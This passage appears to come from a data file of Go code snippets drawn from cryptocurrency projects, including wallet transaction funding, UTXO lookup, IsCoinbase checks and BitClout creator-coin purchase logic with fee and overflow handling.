types.DefaultChainConstants().DefaultTransactionVersion,\n\t}\n\n\t// Greedily add coin inputs until we have enough to fund the output and minerfee\n\tinputs := []types.CoinInput{}\n\n\t// Track the amount of coins we already added via the inputs\n\tinputValue := types.ZeroCurrency\n\n\tfor id, utxo := range w.unspentCoinOutputs {\n\t\t// If the inputValue is not smaller than the requiredFunds we added enough inputs to fund the transaction\n\t\tif inputValue.Cmp(requiredFunds) != -1 {\n\t\t\tbreak\n\t\t}\n\t\t// Append the input\n\t\tinputs = append(inputs, types.CoinInput{\n\t\t\tParentID: id,\n\t\t\tFulfillment: types.NewFulfillment(types.NewSingleSignatureFulfillment(\n\t\t\t\ttypes.Ed25519PublicKey(w.keys[utxo.Condition.UnlockHash()].PublicKey))),\n\t\t})\n\t\t// And update the value in the transaction\n\t\tinputValue = inputValue.Add(utxo.Value)\n\t}\n\t// Set the inputs\n\ttxn.CoinInputs = inputs\n\n\tfor _, inp := range inputs {\n\t\tif _, exists := w.keys[w.unspentCoinOutputs[inp.ParentID].Condition.UnlockHash()]; !exists {\n\t\t\treturn nil, errors.New(\"Trying to spend unexisting output\")\n\t\t}\n\t}\n\t// Add our first output\n\ttxn.CoinOutputs = append(txn.CoinOutputs, types.CoinOutput{\n\t\tValue: amount,\n\t\tCondition: types.NewCondition(types.NewUnlockHashCondition(addressTo)),\n\t})\n\n\t// So now we have enough inputs to fund everything. But we might have overshot it a little bit, so lets check that\n\t// and add a new output to ourself if required to consume the leftover value\n\tremainder := inputValue.Sub(requiredFunds)\n\tif !remainder.IsZero() {\n\t\t// We have leftover funds, so add a new transaction\n\t\t// Lets write to an unused address\n\t\tfor addr := range w.keys {\n\t\t\taddrUsed := false\n\t\t\tfor _, utxo := range w.unspentCoinOutputs {\n\t\t\t\tif utxo.Condition.UnlockHash() == addr {\n\t\t\t\t\taddrUsed = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif addrUsed {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\toutputToSelf := types.CoinOutput{\n\t\t\t\tValue: remainder,\n\t\t\t\tCondition: types.NewCondition(types.NewUnlockHashCondition(addr)),\n\t\t\t}\n\t\t\t// add our self referencing output to the transaction\n\t\t\ttxn.CoinOutputs = append(txn.CoinOutputs, outputToSelf)\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Add the miner fee to the transaction\n\ttxn.MinerFees = []types.Currency{minerfee}\n\n\t// sign transaction\n\tif err := w.signTxn(txn); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &txn, nil\n}", "func (bav *UtxoView) HelpConnectCreatorCoinBuy(\n\ttxn *MsgBitCloutTxn, txHash *BlockHash, blockHeight uint32, verifySignatures bool) (\n\t_totalInput uint64, _totalOutput uint64, _creatorCoinReturnedNanos uint64, _founderRewardNanos uint64,\n\t_utxoOps []*UtxoOperation, _err error) {\n\n\t// Connect basic txn to get the total input and the total output without\n\t// considering the transaction metadata.\n\ttotalInput, totalOutput, utxoOpsForTxn, err := bav._connectBasicTransfer(\n\t\ttxn, txHash, blockHeight, verifySignatures)\n\tif err != nil {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(err, \"_connectCreatorCoin: \")\n\t}\n\n\t// Force the input to be non-zero so that we can prevent replay attacks. If\n\t// we didn't do this then someone could replay your sell over and over again\n\t// to force-convert all your creator coin into BitClout. Think about it.\n\tif totalInput == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinRequiresNonZeroInput\n\t}\n\n\t// At this point the inputs and outputs have been processed. Now we\n\t// need to handle the metadata.\n\n\t// Check that the specified profile public key is valid and that a profile\n\t// corresponding to that public key exists.\n\ttxMeta := txn.TxnMeta.(*CreatorCoinMetadataa)\n\tif len(txMeta.ProfilePublicKey) != btcec.PubKeyBytesLenCompressed {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinInvalidPubKeySize\n\t}\n\n\t// Dig up the profile. It must exist for the user to be able to\n\t// operate on its coin.\n\texistingProfileEntry := bav.GetProfileEntryForPublicKey(txMeta.ProfilePublicKey)\n\tif existingProfileEntry == nil || existingProfileEntry.isDeleted {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinOperationOnNonexistentProfile,\n\t\t\t\"_connectCreatorCoin: Profile pub key: %v %v\",\n\t\t\tPkToStringMainnet(txMeta.ProfilePublicKey), PkToStringTestnet(txMeta.ProfilePublicKey))\n\t}\n\n\t// At this point we are confident that we have a profile that\n\t// exists that corresponds to the profile public key the user\n\t// provided.\n\n\t// Check that the amount of BitClout being traded for creator coin is\n\t// non-zero.\n\tbitCloutBeforeFeesNanos := txMeta.BitCloutToSellNanos\n\tif bitCloutBeforeFeesNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitClout\n\t}\n\t// The amount of BitClout being traded counts as output being spent by\n\t// this transaction, so add it to the transaction output and check that\n\t// the resulting output does not exceed the total input.\n\t//\n\t// Check for overflow of the outputs before adding.\n\tif totalOutput > math.MaxUint64-bitCloutBeforeFeesNanos {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputWithInvalidBuyAmount,\n\t\t\t\"_connectCreatorCoin: %v\", bitCloutBeforeFeesNanos)\n\t}\n\ttotalOutput += bitCloutBeforeFeesNanos\n\t// It's assumed the caller code will check that things like output <= input,\n\t// but we check it here just in case...\n\tif totalInput < totalOutput {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputExceedsInput,\n\t\t\t\"_connectCreatorCoin: Input: %v, Output: %v\", totalInput, totalOutput)\n\t}\n\t// At this point we have verified that the output is sufficient to cover\n\t// the amount the user wants to use to buy the creator's coin.\n\n\t// Now we burn some BitClout before executing the creator coin buy. Doing\n\t// this guarantees that floating point errors in our subsequent calculations\n\t// will not result in a user being able to print infinite amounts of BitClout\n\t// through the protocol.\n\t//\n\t// TODO(performance): We use bigints to avoid overflow in the intermediate\n\t// stages of the calculation but this most likely isn't necessary. This\n\t// formula is equal to:\n\t// - bitCloutAfterFeesNanos = bitCloutBeforeFeesNanos * (CreatorCoinTradeFeeBasisPoints / (100*100))\n\tbitCloutAfterFeesNanos := IntDiv(\n\t\tIntMul(\n\t\t\tbig.NewInt(int64(bitCloutBeforeFeesNanos)),\n\t\t\tbig.NewInt(int64(100*100-bav.Params.CreatorCoinTradeFeeBasisPoints))),\n\t\tbig.NewInt(100*100)).Uint64()\n\n\t// The amount of BitClout being convertend must be nonzero after fees as well.\n\tif bitCloutAfterFeesNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitCloutAfterFees\n\t}\n\n\t// Figure out how much bitclout goes to the founder.\n\t// Note: If the user performing this transaction has the same public key as the\n\t// profile being bought, we do not cut a founder reward.\n\tbitcloutRemainingNanos := uint64(0)\n\tbitcloutFounderRewardNanos := uint64(0)\n\tif blockHeight > BitCloutFounderRewardBlockHeight &&\n\t\t!reflect.DeepEqual(txn.PublicKey, existingProfileEntry.PublicKey) {\n\n\t\t// This formula is equal to:\n\t\t// bitCloutFounderRewardNanos = bitcloutAfterFeesNanos * creatorBasisPoints / (100*100)\n\t\tbitcloutFounderRewardNanos = IntDiv(\n\t\t\tIntMul(\n\t\t\t\tbig.NewInt(int64(bitCloutAfterFeesNanos)),\n\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\tbig.NewInt(100*100)).Uint64()\n\n\t\t// Sanity check, just to be extra safe.\n\t\tif bitCloutAfterFeesNanos < bitcloutFounderRewardNanos {\n\t\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"HelpConnectCreatorCoinBuy: bitCloutAfterFeesNanos\"+\n\t\t\t\t\" less than bitCloutFounderRewardNanos: %v %v\",\n\t\t\t\tbitCloutAfterFeesNanos, bitcloutFounderRewardNanos)\n\t\t}\n\n\t\tbitcloutRemainingNanos = bitCloutAfterFeesNanos - bitcloutFounderRewardNanos\n\t} else {\n\t\tbitcloutRemainingNanos = bitCloutAfterFeesNanos\n\t}\n\n\tif bitcloutRemainingNanos == 0 {\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustTradeNonZeroBitCloutAfterFounderReward\n\t}\n\n\t// If no BitClout is currently locked in the profile then we use the\n\t// polynomial equation to mint creator coins. We do this because the\n\t// Uniswap/Bancor equations don't work when zero coins have been minted,\n\t// and so we have to special case here. See this wolfram sheet for all\n\t// the equations with tests:\n\t// - https://pastebin.com/raw/1EmgeW56\n\t//\n\t// Note also that we use big floats with a custom math library in order\n\t// to guarantee that all nodes get the same result regardless of what\n\t// architecture they're running on. If we didn't do this, then some nodes\n\t// could round floats or use different levels of precision for intermediate\n\t// results and get different answers which would break consensus.\n\tcreatorCoinToMintNanos := CalculateCreatorCoinToMint(\n\t\tbitcloutRemainingNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t// Check if the total amount minted satisfies CreatorCoinAutoSellThresholdNanos.\n\t// This makes it prohibitively expensive for a user to buy themself above the\n\t// CreatorCoinAutoSellThresholdNanos and then spam tiny nano BitClout creator\n\t// coin purchases causing the effective Bancor Creator Coin Reserve Ratio to drift.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\tif creatorCoinToMintNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanos\n\t\t}\n\t}\n\n\t// At this point, we know how much creator coin we are going to mint.\n\t// Now it's just a matter of adjusting our bookkeeping and potentially\n\t// giving the creator a founder reward.\n\n\t// Save all the old values from the CoinEntry before we potentially\n\t// update them. Note that CoinEntry doesn't contain any pointers and so\n\t// a direct copy is OK.\n\tprevCoinEntry := existingProfileEntry.CoinEntry\n\n\t// Increment BitCloutLockedNanos. Sanity-check that we're not going to\n\t// overflow.\n\tif existingProfileEntry.BitCloutLockedNanos > math.MaxUint64-bitcloutRemainingNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"BitCloutLockedNanos and bitCloutAfterFounderRewardNanos: %v %v\",\n\t\t\texistingProfileEntry.BitCloutLockedNanos, bitcloutRemainingNanos)\n\t}\n\texistingProfileEntry.BitCloutLockedNanos += bitcloutRemainingNanos\n\n\t// Increment CoinsInCirculation. Sanity-check that we're not going to\n\t// overflow.\n\tif existingProfileEntry.CoinsInCirculationNanos > math.MaxUint64-creatorCoinToMintNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"CoinsInCirculationNanos and creatorCoinToMintNanos: %v %v\",\n\t\t\texistingProfileEntry.CoinsInCirculationNanos, creatorCoinToMintNanos)\n\t}\n\texistingProfileEntry.CoinsInCirculationNanos += creatorCoinToMintNanos\n\n\t// Calculate the *Creator Coin nanos* to give as a founder reward.\n\tcreatorCoinFounderRewardNanos := uint64(0)\n\tif blockHeight > BitCloutFounderRewardBlockHeight {\n\t\t// Do nothing. The chain stopped minting creator coins as a founder reward for\n\t\t// creators at this blockheight. It gives BitClout as a founder reward now instead.\n\n\t} else if blockHeight > SalomonFixBlockHeight {\n\t\t// Following the SalomonFixBlockHeight block, creator coin buys continuously mint\n\t\t// a founders reward based on the CreatorBasisPoints.\n\n\t\tcreatorCoinFounderRewardNanos = IntDiv(\n\t\t\tIntMul(\n\t\t\t\tbig.NewInt(int64(creatorCoinToMintNanos)),\n\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\tbig.NewInt(100*100)).Uint64()\n\t} else {\n\t\t// Up to and including the SalomonFixBlockHeight block, creator coin buys only minted\n\t\t// a founders reward if the creator reached a new all time high.\n\n\t\tif existingProfileEntry.CoinsInCirculationNanos > existingProfileEntry.CoinWatermarkNanos {\n\t\t\t// This value must be positive if we made it past the if condition above.\n\t\t\twatermarkDiff := existingProfileEntry.CoinsInCirculationNanos - existingProfileEntry.CoinWatermarkNanos\n\t\t\t// The founder reward is computed as a percentage of the \"net coins created,\"\n\t\t\t// which is equal to the watermarkDiff\n\t\t\tcreatorCoinFounderRewardNanos = IntDiv(\n\t\t\t\tIntMul(\n\t\t\t\t\tbig.NewInt(int64(watermarkDiff)),\n\t\t\t\t\tbig.NewInt(int64(existingProfileEntry.CreatorBasisPoints))),\n\t\t\t\tbig.NewInt(100*100)).Uint64()\n\t\t}\n\t}\n\n\t// CoinWatermarkNanos is no longer used, however it may be helpful for\n\t// future analytics or updates so we continue to update it here.\n\tif existingProfileEntry.CoinsInCirculationNanos > existingProfileEntry.CoinWatermarkNanos {\n\t\texistingProfileEntry.CoinWatermarkNanos = existingProfileEntry.CoinsInCirculationNanos\n\t}\n\n\t// At this point, founderRewardNanos will be non-zero if and only if we increased\n\t// the watermark *and* there was a non-zero CreatorBasisPoints set on the CoinEntry\n\t// *and* the blockHeight is less than BitCloutFounderRewardBlockHeight.\n\n\t// The user gets whatever's left after we pay the founder their reward.\n\tcoinsBuyerGetsNanos := creatorCoinToMintNanos - creatorCoinFounderRewardNanos\n\n\t// If the coins the buyer is getting is less than the minimum threshold that\n\t// they expected to get, then the transaction is invalid. This prevents\n\t// front-running attacks, but it also prevents the buyer from getting a\n\t// terrible price.\n\t//\n\t// Note that when the min is set to zero it means we should skip this check.\n\tif txMeta.MinCreatorCoinExpectedNanos != 0 &&\n\t\tcoinsBuyerGetsNanos < txMeta.MinCreatorCoinExpectedNanos {\n\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinLessThanMinimumSetByUser,\n\t\t\t\"_connectCreatorCoin: Amount that would be minted and given to user: \"+\n\t\t\t\t\"%v, amount that would be given to founder: %v, amount user needed: %v\",\n\t\t\tcoinsBuyerGetsNanos, creatorCoinFounderRewardNanos, txMeta.MinCreatorCoinExpectedNanos)\n\t}\n\n\t// If we get here, we are good to go. We will now update the balance of the\n\t// buyer and the creator (assuming we had a non-zero founderRewardNanos).\n\n\t// Look up a CreatorCoinBalanceEntry for the buyer and the creator. Create\n\t// an entry for each if one doesn't exist already.\n\tbuyerBalanceEntry, hodlerPKID, creatorPKID :=\n\t\tbav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\t\ttxn.PublicKey, existingProfileEntry.PublicKey)\n\tif buyerBalanceEntry == nil {\n\t\t// If there is no balance entry for this mapping yet then just create it.\n\t\t// In this case the balance will be zero.\n\t\tbuyerBalanceEntry = &BalanceEntry{\n\t\t\t// The person who created the txn is they buyer/hodler\n\t\t\tHODLerPKID: hodlerPKID,\n\t\t\t// The creator is the owner of the profile that corresponds to the coin.\n\t\t\tCreatorPKID: creatorPKID,\n\t\t\tBalanceNanos: uint64(0),\n\t\t}\n\t}\n\n\t// Get the balance entry for the creator. In this case the creator owns\n\t// their own coin and therefore the creator is also the HODLer. We need\n\t// this so we can pay the creator their founder reward. Note that we have\n\t// a special case when the creator is purchasing their own coin.\n\tvar creatorBalanceEntry *BalanceEntry\n\tif reflect.DeepEqual(txn.PublicKey, existingProfileEntry.PublicKey) {\n\t\t// If the creator is buying their own coin, don't fetch/create a\n\t\t// duplicate entry. If we didn't do this, we might wind up with two\n\t\t// duplicate BalanceEntrys when a creator is buying their own coin.\n\t\tcreatorBalanceEntry = buyerBalanceEntry\n\t} else {\n\t\t// In this case, the creator is distinct from the buyer, so fetch and\n\t\t// potentially create a new BalanceEntry for them rather than using the\n\t\t// existing one.\n\t\tcreatorBalanceEntry, hodlerPKID, creatorPKID = bav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\t\texistingProfileEntry.PublicKey, existingProfileEntry.PublicKey)\n\t\tif creatorBalanceEntry == nil {\n\t\t\t// If there is no balance entry then it means the creator doesn't own\n\t\t\t// any of their coin yet. In this case we create a new entry for them\n\t\t\t// with a zero balance.\n\t\t\tcreatorBalanceEntry = &BalanceEntry{\n\t\t\t\tHODLerPKID: hodlerPKID,\n\t\t\t\tCreatorPKID: creatorPKID,\n\t\t\t\tBalanceNanos: uint64(0),\n\t\t\t}\n\t\t}\n\t}\n\t// At this point we should have a BalanceEntry for the buyer and the creator.\n\t// These may be the same BalancEntry if the creator is buying their own coin,\n\t// but that is OK.\n\n\t// Save the previous balance entry before modifying it. If the creator is\n\t// buying their own coin, this will be the same BalanceEntry, which is fine.\n\tprevBuyerBalanceEntry := *buyerBalanceEntry\n\tprevCreatorBalanceEntry := *creatorBalanceEntry\n\n\t// Increase the buyer and the creator's balances by the amounts computed\n\t// previously. Always check for overflow.\n\tif buyerBalanceEntry.BalanceNanos > math.MaxUint64-coinsBuyerGetsNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"buyerBalanceEntry.BalanceNanos and coinsBuyerGetsNanos %v %v\",\n\t\t\tbuyerBalanceEntry.BalanceNanos, coinsBuyerGetsNanos)\n\t}\n\t// Check that if the buyer is receiving nanos for the first time, it's enough\n\t// to push them above the CreatorCoinAutoSellThresholdNanos threshold. This helps\n\t// prevent tiny amounts of nanos from drifting the ratio of creator coins to BitClout locked.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\tif buyerBalanceEntry.BalanceNanos == 0 && coinsBuyerGetsNanos != 0 &&\n\t\t\tcoinsBuyerGetsNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanosForBuyer\n\t\t}\n\t}\n\n\t// Check if this is the buyers first buy or first buy after a complete sell.\n\t// If it is, we increment the NumberOfHolders to reflect this value.\n\tif buyerBalanceEntry.BalanceNanos == 0 && coinsBuyerGetsNanos != 0 {\n\t\t// Increment number of holders by one to reflect the buyer\n\t\texistingProfileEntry.NumberOfHolders += 1\n\n\t\t// Update the profile to reflect the new number of holders\n\t\tbav._setProfileEntryMappings(existingProfileEntry)\n\t}\n\t// Finally increment the buyerBalanceEntry.BalanceNanos to reflect\n\t// the purchased coinsBuyerGetsNanos. If coinsBuyerGetsNanos is greater than 0, we set HasPurchased to true.\n\tbuyerBalanceEntry.BalanceNanos += coinsBuyerGetsNanos\n\tbuyerBalanceEntry.HasPurchased = true\n\n\t// If the creator is buying their own coin, this will just be modifying\n\t// the same pointer as the buyerBalanceEntry, which is what we want.\n\tif creatorBalanceEntry.BalanceNanos > math.MaxUint64-creatorCoinFounderRewardNanos {\n\t\treturn 0, 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: Overflow while summing\"+\n\t\t\t\"creatorBalanceEntry.BalanceNanos and creatorCoinFounderRewardNanos %v %v\",\n\t\t\tcreatorBalanceEntry.BalanceNanos, creatorCoinFounderRewardNanos)\n\t}\n\t// Check that if the creator is receiving nanos for the first time, it's enough\n\t// to push them above the CreatorCoinAutoSellThresholdNanos threshold. This helps\n\t// prevent tiny amounts of nanos from drifting the effective creator coin reserve ratio drift.\n\tif creatorBalanceEntry.BalanceNanos == 0 &&\n\t\tcreatorCoinFounderRewardNanos != 0 &&\n\t\tcreatorCoinFounderRewardNanos < bav.Params.CreatorCoinAutoSellThresholdNanos &&\n\t\tblockHeight > SalomonFixBlockHeight {\n\n\t\treturn 0, 0, 0, 0, nil, RuleErrorCreatorCoinBuyMustSatisfyAutoSellThresholdNanosForCreator\n\t}\n\t// Check if the creator's balance is going from zero to non-zero and increment the NumberOfHolders if so.\n\tif creatorBalanceEntry.BalanceNanos == 0 && creatorCoinFounderRewardNanos != 0 {\n\t\t// Increment number of holders by one to reflect the creator\n\t\texistingProfileEntry.NumberOfHolders += 1\n\n\t\t// Update the profile to reflect the new number of holders\n\t\tbav._setProfileEntryMappings(existingProfileEntry)\n\t}\n\tcreatorBalanceEntry.BalanceNanos += creatorCoinFounderRewardNanos\n\n\t// At this point the balances for the buyer and the creator should be correct\n\t// so set the mappings in the view.\n\tbav._setBalanceEntryMappings(buyerBalanceEntry)\n\t// Avoid setting the same entry twice if the creator is buying their own coin.\n\tif buyerBalanceEntry != creatorBalanceEntry {\n\t\tbav._setBalanceEntryMappings(creatorBalanceEntry)\n\t}\n\n\t// Finally, if the creator is getting a bitclout founder reward, add a UTXO for it.\n\tvar outputKey *UtxoKey\n\tif blockHeight > BitCloutFounderRewardBlockHeight {\n\t\tif bitcloutFounderRewardNanos > 0 {\n\t\t\t// Create a new entry for this output and add it to the view. It should be\n\t\t\t// added at the end of the utxo list.\n\t\t\toutputKey = &UtxoKey{\n\t\t\t\tTxID: *txHash,\n\t\t\t\t// The output is like an extra virtual output at the end of the transaction.\n\t\t\t\tIndex: uint32(len(txn.TxOutputs)),\n\t\t\t}\n\n\t\t\tutxoEntry := UtxoEntry{\n\t\t\t\tAmountNanos: bitcloutFounderRewardNanos,\n\t\t\t\tPublicKey: existingProfileEntry.PublicKey,\n\t\t\t\tBlockHeight: blockHeight,\n\t\t\t\tUtxoType: UtxoTypeCreatorCoinFounderReward,\n\t\t\t\tUtxoKey: outputKey,\n\t\t\t\t// We leave the position unset and isSpent to false by default.\n\t\t\t\t// The position will be set in the call to _addUtxo.\n\t\t\t}\n\n\t\t\t_, err = bav._addUtxo(&utxoEntry)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, 0, 0, 0, nil, errors.Wrapf(err, \"HelpConnectCreatorCoinBuy: Problem adding output utxo\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Add an operation to the list at the end indicating we've executed a\n\t// CreatorCoin txn. Save the previous state of the CoinEntry for easy\n\t// reversion during disconnect.\n\tutxoOpsForTxn = append(utxoOpsForTxn, &UtxoOperation{\n\t\tType: OperationTypeCreatorCoin,\n\t\tPrevCoinEntry: &prevCoinEntry,\n\t\tPrevTransactorBalanceEntry: &prevBuyerBalanceEntry,\n\t\tPrevCreatorBalanceEntry: &prevCreatorBalanceEntry,\n\t\tFounderRewardUtxoKey: outputKey,\n\t})\n\n\treturn totalInput, totalOutput, coinsBuyerGetsNanos, creatorCoinFounderRewardNanos, utxoOpsForTxn, nil\n}", "func (tx *Transaction) IsCoinbase() bool {\n\treturn len(tx.Vin) == 1 && len(tx.Vin[0].Txid) == 0 && tx.Vin[0].Vout == -1\n}", "func (txn *Transaction) IsCoinbase() bool {\n\treturn len(txn.Inputs) == 1 && len(txn.Inputs[0].ID) == 0 && txn.Inputs[0].OutIndex == -1\n}", "func (tx Transaction) IsCoinbase() bool {\n\treturn len(tx.Vin) == 1 && len(tx.Vin[0].Txid) == 0 && tx.Vin[0].Vout == -1\n}", "func (u UTXOSet) FindSpendableOutputs(pubkeyHash []byte, amount int, txPool TxPool) (int, map[string][]int) {\n\tunspentOutputs := make(map[string][]int)\n\taccumulated := 0\n\tdb := u.Blockchain.db\n\n\terr := db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(storage.BoltUTXOBucket))\n\t\tc := b.Cursor()\n\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\ttxID := hex.EncodeToString(k)\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\tfor outIdx, out := range outs {\n\t\t\t\tif out.IsLockedWithKey(pubkeyHash) && accumulated < amount {\n\t\t\t\t\tif !txPool.HaveTransaction(txID){\n\t\t\t\t\t\taccumulated += out.Value\n\t\t\t\t\t\tunspentOutputs[txID] = append(unspentOutputs[txID], outIdx)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\treturn accumulated, unspentOutputs\n}", "func HasStableCoin(PublicKey string) bool {\n\taccount, err := TestNetClient.LoadAccount(PublicKey)\n\tif err != nil {\n\t\t// account does not exist\n\t\treturn false\n\t}\n\n\tfor _, balance := range account.Balances {\n\t\tif balance.Asset.Code == \"STABLEUSD\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (rt *RecvTxOut) IsCoinbase() bool {\n\tif rt.recvTxOut.block == nil {\n\t\treturn false\n\t}\n\treturn rt.recvTxOut.block.Index == 0\n}", "func (coin *Coin) Net() *chaincfg.Params {\n\treturn coin.net\n}", "func (tb *transactionBuilder) signCoinInput(idx int, ci *types.CoinInput, cond types.MarshalableUnlockCondition) error {\n\treturn tb.signFulfillment(&ci.Fulfillment, cond, uint64(idx))\n}", "func (sun Suncoin) Type() string {\n\treturn Type\n}", "func (tb *transactionBuilder) FundCoins(amount types.Currency, refundAddress *types.UnlockHash, reuseRefundAddress bool) error {\n\ttb.wallet.mu.Lock()\n\tdefer tb.wallet.mu.Unlock()\n\n\tif !tb.wallet.unlocked {\n\t\treturn modules.ErrLockedWallet\n\t}\n\n\t// prepare fulfillable context\n\tctx := tb.wallet.getFulfillableContextForLatestBlock()\n\n\t// Collect a value-sorted set of fulfillable coin outputs.\n\tvar so sortedOutputs\n\tfor scoid, sco := range tb.wallet.coinOutputs {\n\t\tif !sco.Condition.Fulfillable(ctx) {\n\t\t\tcontinue\n\t\t}\n\t\tso.ids = append(so.ids, scoid)\n\t\tso.outputs = append(so.outputs, sco)\n\t}\n\t// Add all of the unconfirmed outputs as well.\n\tfor _, upt := range tb.wallet.unconfirmedProcessedTransactions {\n\t\tfor i, sco := range upt.Transaction.CoinOutputs {\n\t\t\tuh := sco.Condition.UnlockHash()\n\t\t\t// Determine if the output belongs to the wallet.\n\t\t\texists, err := tb.wallet.keyExists(uh)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif !exists || !sco.Condition.Fulfillable(ctx) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tso.ids = append(so.ids, upt.Transaction.CoinOutputID(uint64(i)))\n\t\t\tso.outputs = append(so.outputs, sco)\n\t\t}\n\t}\n\tsort.Sort(sort.Reverse(so))\n\n\t// Create a transaction that will add the correct amount of coins to the\n\t// transaction.\n\tvar fund types.Currency\n\t// potentialFund tracks the balance of the wallet including outputs that\n\t// have been spent in other unconfirmed transactions recently. This is to\n\t// provide the user with a more useful error message in the event that they\n\t// are overspending.\n\tvar potentialFund types.Currency\n\tvar spentScoids []types.CoinOutputID\n\tfor i := range so.ids {\n\t\tscoid := so.ids[i]\n\t\tsco := so.outputs[i]\n\t\t// Check that this output has not recently been spent by the wallet.\n\t\tspendHeight := tb.wallet.spentOutputs[types.OutputID(scoid)]\n\t\t// Prevent an underflow error.\n\t\tallowedHeight := tb.wallet.consensusSetHeight - RespendTimeout\n\t\tif tb.wallet.consensusSetHeight < RespendTimeout {\n\t\t\tallowedHeight = 0\n\t\t}\n\t\tif spendHeight > allowedHeight {\n\t\t\tpotentialFund = potentialFund.Add(sco.Value)\n\t\t\tcontinue\n\t\t}\n\n\t\t// prepare fulfillment, matching the output\n\t\tuh := sco.Condition.UnlockHash()\n\t\tvar ff types.MarshalableUnlockFulfillment\n\t\tswitch sco.Condition.ConditionType() {\n\t\tcase types.ConditionTypeUnlockHash, types.ConditionTypeTimeLock:\n\t\t\t// ConditionTypeTimeLock is fine, as we know it's fulfillable,\n\t\t\t// and that can only mean for now that it is using an internal unlockHashCondition or nilCondition\n\t\t\tpk, _, err := tb.wallet.getKey(uh)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tff = types.NewSingleSignatureFulfillment(pk)\n\t\tdefault:\n\t\t\tbuild.Severe(fmt.Errorf(\"unexpected condition type: %[1]v (%[1]T)\", sco.Condition))\n\t\t\treturn types.ErrUnexpectedUnlockCondition\n\t\t}\n\t\t// Add a coin input for this output.\n\t\tsci := types.CoinInput{\n\t\t\tParentID: scoid,\n\t\t\tFulfillment: types.NewFulfillment(ff),\n\t\t}\n\t\ttb.coinInputs = append(tb.coinInputs, inputSignContext{\n\t\t\tInputIndex: len(tb.transaction.CoinInputs),\n\t\t\tUnlockHash: uh,\n\t\t})\n\t\ttb.transaction.CoinInputs = append(tb.transaction.CoinInputs, sci)\n\n\t\tspentScoids = append(spentScoids, scoid)\n\n\t\t// Add the output to the total fund\n\t\tfund = fund.Add(sco.Value)\n\t\tpotentialFund = potentialFund.Add(sco.Value)\n\t\tif fund.Cmp(amount) >= 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif potentialFund.Cmp(amount) >= 0 && fund.Cmp(amount) < 0 {\n\t\treturn modules.ErrIncompleteTransactions\n\t}\n\tif fund.Cmp(amount) < 0 {\n\t\treturn modules.ErrLowBalance\n\t}\n\n\t// Create a refund output if needed.\n\tif !amount.Equals(fund) {\n\t\tvar refundUnlockHash types.UnlockHash\n\t\tif refundAddress != nil {\n\t\t\t// use specified refund address\n\t\t\trefundUnlockHash = *refundAddress\n\t\t} else if reuseRefundAddress {\n\t\t\t// use the fist coin input of this tx as refund address\n\t\t\tvar maxCoinAmount types.Currency\n\t\t\tfor _, ci := range tb.transaction.CoinInputs {\n\t\t\t\tco, exists := tb.wallet.coinOutputs[ci.ParentID]\n\t\t\t\tif !exists {\n\t\t\t\t\tco = tb.getCoFromUnconfirmedProcessedTransactions(ci.ParentID)\n\t\t\t\t}\n\t\t\t\tif maxCoinAmount.Cmp(co.Value) < 0 {\n\t\t\t\t\tmaxCoinAmount = co.Value\n\t\t\t\t\trefundUnlockHash = co.Condition.UnlockHash()\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// generate a new address\n\t\t\tvar err error\n\t\t\trefundUnlockHash, err = 